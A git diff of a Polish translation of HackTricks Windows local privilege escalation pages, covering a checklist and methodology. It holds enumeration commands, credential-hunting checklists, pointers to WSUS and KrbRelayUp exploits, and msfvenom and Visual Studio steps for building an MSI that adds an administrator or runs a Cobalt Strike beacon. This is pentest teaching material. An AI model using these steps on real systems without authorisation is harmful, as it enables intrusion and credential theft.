aplikacjach [**Write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) - [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] Czy możesz **zapisać** w dowolnym folderze w PATH? -- [ ] Czy istnieje znana binarka usługi, która **próbuje załadować nieistniejącą DLL**? -- [ ] Czy możesz **zapisać** w którymś z **folderów z binarkami**? +- [ ] Czy możesz **zapisać** w jakimkolwiek folderze w PATH? (Can you **write in any folder inside PATH**?) +- [ ] Czy istnieje jakaś znana binarka usługi, która **próbuje załadować nieistniejącą DLL**? (Is there any known service binary that **tries to load any non-existant DLL**?) +- [ ] Czy możesz **zapisać** w jakimkolwiek **folderze binarek**? (Can you **write** in any **binaries folder**?) -### [Sieć](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Skanuj sieć (udziały, interfejsy, trasy, sąsiedzi, ...) +- [ ] Zenumeruj sieć (shares, interfaces, routes, neighbours, ...) - [ ] Zwróć szczególną uwagę na usługi sieciowe nasłuchujące na localhost (127.0.0.1) -### [Poświadczenia Windows](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) poświadczenia +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) poświadczenia - [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) poświadczenia, których możesz użyć? - [ ] Interesujące [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Hasła zapisanych sieci [**WiFi**](windows-local-privilege-escalation/index.html#wifi)? -- [ ] Interesujące informacje w [**zapisanych połączeniach RDP**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? -- [ ] Hasła w [**ostatnio uruchamianych poleceniach**](windows-local-privilege-escalation/index.html#recently-run-commands)? +- [ ] Hasła zapisanych [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? +- [ ] Ciekawe informacje w [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? +- [ ] Hasła w [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? - [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) hasła? -- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Poświadczenia? +- [ ] Czy istnieje [**AppCmd.exe**](windows-local-privilege-escalation/index.html#appcmd-exe)? Poświadczenia? - [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [Pliki i rejestr (poświadczenia)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **oraz** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) - [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? - [ ] Hasła w [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? -- [ ] Jakiekolwiek kopie zapasowe [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? +- [ ] Jakiekolwiek backupy [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? - [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) plik? - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? - [ ] Hasło w [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? -- [ ] Interesujące informacje w [**logach web**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Chcesz [**poprosić użytkownika o poświadczenia**](windows-local-privilege-escalation/index.html#ask-for-credentials)? -- [ ] Interesujące [**pliki w Koszu (Recycle Bin)**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] Inne [**klucze rejestru zawierające poświadczenia**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] Wewnątrz [**danych przeglądarki**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, historia, zakładki, ...)? +- [ ] Ciekawe informacje w [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? +- [ ] Czy chcesz [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) od użytkownika? +- [ ] Ciekawe [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] Inne [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] Wewnątrz [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? - [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) w plikach i rejestrze - [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) do automatycznego wyszukiwania haseł ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Czy masz dostęp do jakiegokolwiek handle'a procesu uruchomionego przez administratora? +- [ ] Czy masz dostęp do jakiegokolwiek handle procesu uruchomionego przez administratora? (Have you access to any handler of a process run by administrator?) ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Sprawdź, czy możesz to nadużyć +- [ ] Sprawdź czy możesz to nadużyć (Check if you can abuse it) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index bb7a65f1c..6c5a5ea36 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Najlepsze narzędzie do wyszukiwania wektorów Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Najlepsze narzędzie do wyszukiwania Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Wstępna teoria Windows +## Initial Windows Theory ### Access Tokens -**Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuowaniem:** +**Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuacją:** {{#ref}} @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Jeśli nie wiesz, czym są integrity levels w Windows, powinieneś przeczytać następującą stronę przed kontynuowaniem:** +**Jeśli nie wiesz, czym są integrity levels in Windows, powinieneś przeczytać następującą stronę przed kontynuacją:** {{#ref}} integrity-levels.md {{#endref}} -## Kontrole bezpieczeństwa Windows +## Windows Security Controls -W Windows istnieją różne elementy, które mogą **zapobiec enumeracji systemu**, uruchamianiu plików wykonywalnych lub nawet **wykryć twoje działania**. Powinieneś **przeczytać** następującą **stronę** i **wyenumerować** wszystkie te **mechanizmy obronne** zanim rozpoczniesz privilege escalation enumeration: +Są w systemie Windows różne elementy, które mogą **uniemożliwić Ci enumerację systemu**, uruchamianie plików wykonywalnych lub nawet **wykryć Twoje działania**. Powinieneś **przeczytać** następującą **stronę** i **wyenumerować** wszystkie te **mechanizmy** **obronne** przed rozpoczęciem enumeracji privilege escalation: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Informacje o systemie +## System Info -### Enumeracja informacji o wersji +### Version info enumeration -Sprawdź, czy wersja Windows ma jakieś znane podatności (sprawdź także zastosowane poprawki). +Sprawdź, czy wersja Windows ma jakiekolwiek znane podatności (sprawdź również zastosowane poprawki). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Eksploity wersji +### Version Exploits -Ta [strona](https://msrc.microsoft.com/update-guide/vulnerability) jest przydatna do wyszukiwania szczegółowych informacji o lukach bezpieczeństwa Microsoftu. Ta baza danych zawiera ponad 4,700 luk bezpieczeństwa, pokazując **ogromną powierzchnię ataku**, jaką przedstawia środowisko Windows. +Ten [site](https://msrc.microsoft.com/update-guide/vulnerability) jest przydatny do wyszukiwania szczegółowych informacji o lukach bezpieczeństwa Microsoftu. Ta baza danych zawiera ponad 4 700 luk bezpieczeństwa, co pokazuje **ogromną powierzchnię ataku**, jaką prezentuje środowisko Windows. -**Na systemie** +**On the system** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) - [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ma wbudowany watson)_ -**Lokalnie z informacjami o systemie** +**Locally with system information** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Repozytoria Github z exploitami:** +**Github repos of exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### Pliki transkrypcji PowerShell -Instrukcję, jak to włączyć, znajdziesz na [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Możesz dowiedzieć się, jak to włączyć pod adresem [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,29 +116,29 @@ Stop-Transcript ``` ### PowerShell Module Logging -Szczegóły wykonywania pipeline'ów PowerShell są rejestrowane, obejmując wykonywane polecenia, wywołania poleceń oraz fragmenty skryptów. Jednak pełne szczegóły wykonania i wyniki wyjścia mogą nie zostać zarejestrowane. +Szczegóły wykonania pipeline'ów PowerShell są rejestrowane — obejmują wykonane polecenia, wywołania poleceń i fragmenty skryptów. Jednak pełne szczegóły wykonania oraz wyniki mogą nie zostać zarejestrowane. -Aby to włączyć, postępuj zgodnie ze instrukcjami w sekcji "Transcript files" dokumentacji, wybierając **"Module Logging"** zamiast **"Powershell Transcription"**. +Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji "Transcript files" dokumentacji, wybierając **"Module Logging"** zamiast **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Aby wyświetlić ostatnie 15 zdarzeń z PowersShell logs, możesz wykonać: +Aby wyświetlić ostatnie 15 zdarzeń z logów PowersShell, możesz wykonać: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Rejestrowany jest pełny zapis aktywności i zawartości wykonywania skryptu, zapewniając dokumentację każdego bloku kodu w czasie jego uruchamiania. Proces ten zachowuje kompleksowy ślad audytu każdej aktywności, cenny dla badań kryminalistycznych i analizy złośliwego zachowania. Dokumentując całą aktywność w momencie wykonania, uzyskuje się szczegółowy wgląd w przebieg procesu. +Rejestrowany jest kompletny zapis aktywności i pełnej zawartości wykonywania skryptu, zapewniając, że każdy blok kodu jest dokumentowany w trakcie działania. Proces ten zachowuje kompleksową ścieżkę audytu dla każdej aktywności, cenną dla forensics i analizy złośliwych zachowań. Dokumentując całą aktywność w czasie wykonywania, dostarcza szczegółowych informacji o procesie. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Zdarzenia logowania dla Script Block można znaleźć w Windows Event Viewer pod ścieżką: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Zdarzenia logowania dla Script Block można znaleźć w Windows Event Viewer pod ścieżką: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Aby wyświetlić ostatnie 20 zdarzeń, możesz użyć: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Możesz przejąć system, jeśli aktualizacje nie są pobierane przez http**S**, lecz przez http. +Możesz przejąć system, jeśli aktualizacje nie są pobierane przez http**S**, lecz http. -Zaczynasz od sprawdzenia, czy sieć korzysta z aktualizacji WSUS bez SSL, uruchamiając w cmd następujące polecenie: +Zaczynasz od sprawdzenia, czy sieć używa aktualizacji WSUS bez SSL, uruchamiając w cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -182,9 +182,9 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` A jeśli `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` lub `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` jest równe `1`. -Wtedy, **it is exploitable.** Jeśli ostatni wpis rejestru jest równy 0, wtedy wpis WSUS zostanie zignorowany. +Wówczas, **jest to możliwe do wykorzystania.** Jeśli ostatni wpis rejestru jest równy `0`, wpis WSUS zostanie zignorowany. -Aby wykorzystać te podatności, możesz użyć narzędzi takich jak: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — są to MiTM weaponized exploit scripts do wstrzykiwania 'fake' updates w nieszyfrowany ruch WSUS. +Aby wykorzystać tę podatność, można użyć narzędzi takich jak: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - są to MiTM uzbrojone skrypty exploitów do wstrzykiwania 'fałszywych' aktualizacji w ruch WSUS bez SSL. Read the research here: @@ -195,18 +195,17 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Zasadniczo, to jest luka, którą ten błąd wykorzystuje: +Zasadniczo, to jest luka, którą ta podatność wykorzystuje: -> Jeśli mamy możliwość modyfikacji lokalnego proxy użytkownika, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorer’s, to mamy możliwość uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić własny ruch i uruchomić kod jako podniesiony użytkownik na naszym zasobie. +> Jeśli mamy możliwość modyfikacji naszego lokalnego proxy użytkownika, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorer, to mamy możliwość uruchomienia lokalnie [PyWSUS](https://github.com/GoSecure/pywsus) w celu przechwycenia własnego ruchu i uruchomienia kodu jako podniesiony użytkownik na naszym urządzeniu. > -> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, użyje również jego magazynu certyfikatów. Jeśli wygenerujemy self-signed certificate dla hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno HTTP, jak i HTTPS ruch WSUS. WSUS nie stosuje mechanizmów podobnych do HSTS do wdrożenia walidacji typu trust-on-first-use dla certyfikatu. Jeśli prezentowany certyfikat jest zaufany przez użytkownika i ma prawidłową nazwę hosta, zostanie zaakceptowany przez usługę. +> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, będzie także korzystać z jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat self-signed dla nazwy hosta WSUS i dodamy go do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno ruch HTTP, jak i HTTPS WSUS. WSUS nie stosuje mechanizmów podobnych do HSTS, które wdrażałyby walidację typu trust-on-first-use. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę. -Możesz wykorzystać tę lukę za pomocą narzędzia [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (gdy będzie udostępnione). +Można wykorzystać tę podatność przy użyciu narzędzia [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (gdy będzie dostępne). -## Auto-updatery firm trzecich i Agent IPC (local privesc) - -Wiele agentów korporacyjnych udostępnia powierzchnię IPC na localhost oraz uprzywilejowany kanał aktualizacji. Jeśli enrollment można przekierować do serwera atakującego, a updater ufa rogue root CA lub ma słabe sprawdzanie podpisu, lokalny użytkownik może dostarczyć złośliwe MSI, które usługa SYSTEM zainstaluje. Zobacz uogólnioną technikę (opartą na łańcuchu Netskope stAgentSvc – CVE-2025-0309) tutaj: +## Third-Party Auto-Updaters and Agent IPC (local privesc) +Wiele agentów korporacyjnych wystawia powierzchnię IPC na localhost oraz uprzywilejowany kanał aktualizacji. Jeśli rejestracja (enrollment) może zostać zmuszona do serwera atakującego, a updater ufa rogue root CA lub ma słabe sprawdzanie podpisu, lokalny użytkownik może dostarczyć złośliwy MSI, który usługa SYSTEM zainstaluje. Zobacz uogólnioną technikę (opartą na łańcuchu Netskope stAgentSvc – CVE-2025-0309) tutaj: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -214,9 +213,9 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -A **local privilege escalation** vulnerability istnieje w środowiskach domenowych Windows przy określonych warunkach. Warunki te obejmują środowiska, w których **LDAP signing is not enforced,** użytkownicy mają uprawnienia pozwalające im skonfigurować **Resource-Based Constrained Delegation (RBCD),** oraz możliwość tworzenia komputerów w domenie. Ważne jest, aby zauważyć, że te **wymagania** są spełnione w **ustawieniach domyślnych**. +Istnieje luka typu **local privilege escalation** w środowiskach domenowych Windows w określonych warunkach. Warunki te obejmują środowiska, w których **LDAP signing nie jest wymuszony**, użytkownicy posiadają uprawnienia pozwalające im skonfigurować **Resource-Based Constrained Delegation (RBCD)** oraz możliwość tworzenia komputerów w domenie. Ważne jest, że te **wymagania** są spełnione przy użyciu **ustawień domyślnych**. -Find the **exploit w** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) @@ -232,20 +231,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Jeśli masz sesję meterpreter możesz zautomatyzować tę technikę używając modułu **`exploit/windows/local/always_install_elevated`** +Jeśli masz sesję meterpreter, możesz zautomatyzować tę technikę za pomocą modułu **`exploit/windows/local/always_install_elevated`** ### PowerUP -Użyj polecenia `Write-UserAddMSI` z power-up, aby utworzyć w bieżącym katalogu binarny plik MSI Windows służący do escalate privileges. Ten skrypt zapisuje prekompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować GIU access): +Użyj polecenia `Write-UserAddMSI` z power-up, aby w bieżącym katalogu utworzyć plik binarny Windows MSI do eskalacji uprawnień. Ten skrypt zapisuje wstępnie skompilowany instalator MSI, który pyta o dodanie użytkownika/grupy (więc będziesz potrzebować GIU access): ``` Write-UserAddMSI ``` -Po prostu uruchom utworzony plik binarny, aby podnieść uprawnienia. +Po prostu uruchom utworzony plik binarny, aby eskalować uprawnienia. ### MSI Wrapper -Przeczytaj ten samouczek, aby dowiedzieć się, jak utworzyć MSI wrapper przy użyciu tych narzędzi. Zwróć uwagę, że możesz opakować plik "**.bat**", jeśli **tylko** chcesz **wykonywać** **polecenia w wierszu poleceń** - +Przeczytaj ten samouczek, aby dowiedzieć się, jak utworzyć MSI wrapper korzystając z tych narzędzi. Zwróć uwagę, że możesz opakować plik "**.bat**", jeśli **tylko** chcesz **wykonać** **polecenia** {{#ref}} msi-wrapper.md @@ -260,44 +258,44 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**. -- Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. -- Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**. -- Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**. -- There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate. -- Right-click the project and select **View > Custom Actions**. -- Right-click **Install** and select **Add Custom Action**. -- Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run. -- Under the **Custom Action Properties**, change **Run64Bit** to **True**. -- Finally, **build it**. -- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. +- **Wygeneruj** za pomocą Cobalt Strike lub Metasploit **new Windows EXE TCP payload** w `C:\privesc\beacon.exe` +- Otwórz **Visual Studio**, wybierz **Create a new project** i wpisz "installer" w polu wyszukiwania. Wybierz projekt **Setup Wizard** i kliknij **Next**. +- Nadaj projektowi nazwę, np. **AlwaysPrivesc**, użyj **`C:\privesc`** jako lokalizacji, zaznacz **place solution and project in the same directory**, a następnie kliknij **Create**. +- Klikaj dalej **Next** aż dojdziesz do kroku 3 z 4 (wybór plików do dołączenia). Kliknij **Add** i wybierz wygenerowany wcześniej payload Beacon. Następnie kliknij **Finish**. +- Zaznacz projekt **AlwaysPrivesc** w **Solution Explorer**, a w **Properties** zmień **TargetPlatform** z **x86** na **x64**. +- Istnieją inne właściwości, które możesz zmienić, takie jak **Author** i **Manufacturer**, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie. +- Kliknij prawym przyciskiem na projekt i wybierz **View > Custom Actions**. +- Kliknij prawym przyciskiem na **Install** i wybierz **Add Custom Action**. +- Dwukrotnie kliknij **Application Folder**, wybierz plik **beacon.exe** i kliknij **OK**. Dzięki temu payload beacon zostanie uruchomiony natychmiast po uruchomieniu instalatora. +- W **Custom Action Properties** zmień **Run64Bit** na **True**. +- Na koniec **zbuduj**. +- Jeśli pojawi się ostrzeżenie `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, upewnij się, że ustawiłeś platformę na x64. ### MSI Installation -Aby wykonać **instalację** złośliwego pliku `.msi` w tle: +Aby wykonać **instalację** złośliwego pliku `.msi` w **tle:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` Aby wykorzystać tę podatność możesz użyć: _exploit/windows/local/always_install_elevated_ -## Antywirusy i detektory +## Antywirusy i wykrywacze ### Ustawienia audytu -Te ustawienia decydują o tym, co jest **logowane**, więc powinieneś zwrócić uwagę +Te ustawienia decydują o tym, co jest **logged**, więc należy zwrócić uwagę ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — warto wiedzieć, dokąd trafiają logi +Windows Event Forwarding, warto wiedzieć, dokąd są wysyłane logi ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** został zaprojektowany do **zarządzania hasłami lokalnego Administratora**, zapewniając, że każde hasło jest **unikatowe, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którym przyznano odpowiednie uprawnienia przez ACL, pozwalając im na przeglądanie haseł lokalnego administratora, jeśli są upoważnieni. +**LAPS** jest zaprojektowany do **zarządzania hasłami lokalnego Administratora**, zapewniając, że każde hasło jest **unikatowe, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Hasła te są bezpiecznie przechowywane w Active Directory i mogą być odczytane tylko przez użytkowników, którym przyznano odpowiednie uprawnienia poprzez ACLs, co pozwala im przeglądać hasła lokalnych administratorów, jeśli są uprawnieni. {{#ref}} @@ -306,36 +304,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Jeśli jest aktywny, **hasła w postaci tekstu jawnego są przechowywane w LSASS** (Local Security Authority Subsystem Service).\ +Jeśli jest aktywny, **jawne hasła są przechowywane w LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Począwszy od **Windows 8.1**, Microsoft wprowadził zwiększoną ochronę dla Local Security Authority (LSA), aby **blokować** próby niezaufanych procesów mających na celu **odczytanie jego pamięci** lub inject code, dodatkowo zwiększając bezpieczeństwo systemu.\ +Począwszy od **Windows 8.1**, Microsoft wprowadził zwiększoną ochronę dla Local Security Authority (LSA), aby **zablokować** próby nieufnych procesów mające na celu **odczyt pamięci LSA** lub wstrzykiwanie kodu, dodatkowo zabezpieczając system.\ [**Więcej informacji o LSA Protection tutaj**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** został wprowadzony w **Windows 10**. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak ataki pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** zostało wprowadzone w **Windows 10**. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak pass-the-hash attacks.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Poświadczenia w pamięci podręcznej +### Cached Credentials -**Poświadczenia domenowe** są uwierzytelniane przez **Local Security Authority (LSA)** i wykorzystywane przez składniki systemu operacyjnego. Gdy dane logowania użytkownika są uwierzytelniane przez zarejestrowany pakiet zabezpieczeń, poświadczenia domenowe dla użytkownika są zazwyczaj ustanawiane.\ +**Domain credentials** są uwierzytelniane przez **Local Security Authority** (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Gdy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany pakiet zabezpieczeń, zazwyczaj ustalane są dla niego domain credentials.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Użytkownicy i grupy +## Users & Groups -### Enumeracja użytkowników i grup +### Enumerate Users & Groups -Sprawdź, czy którakolwiek z grup, do których należysz, ma interesujące uprawnienia. +Sprawdź, czy którakolwiek z grup, do których należysz, ma interesujące uprawnienia ```bash # CMD net users %username% #Me @@ -352,17 +350,17 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Grupy uprzywilejowane -Jeśli **należysz do grupy uprzywilejowanej, możesz być w stanie eskalować uprawnienia**. Dowiedz się o grupach uprzywilejowanych i o tym, jak je wykorzystać do eskalacji uprawnień tutaj: +Jeśli **należysz do którejś z grup uprzywilejowanych, możesz być w stanie przeprowadzić eskalację uprawnień**. Dowiedz się o grupach uprzywilejowanych i jak je wykorzystać do eskalacji uprawnień tutaj: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token manipulation +### Manipulacja tokenami **Dowiedz się więcej** o tym, czym jest **token** na tej stronie: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Sprawdź następującą stronę, aby **learn about interesting tokens** i jak je nadużyć: +Sprawdź 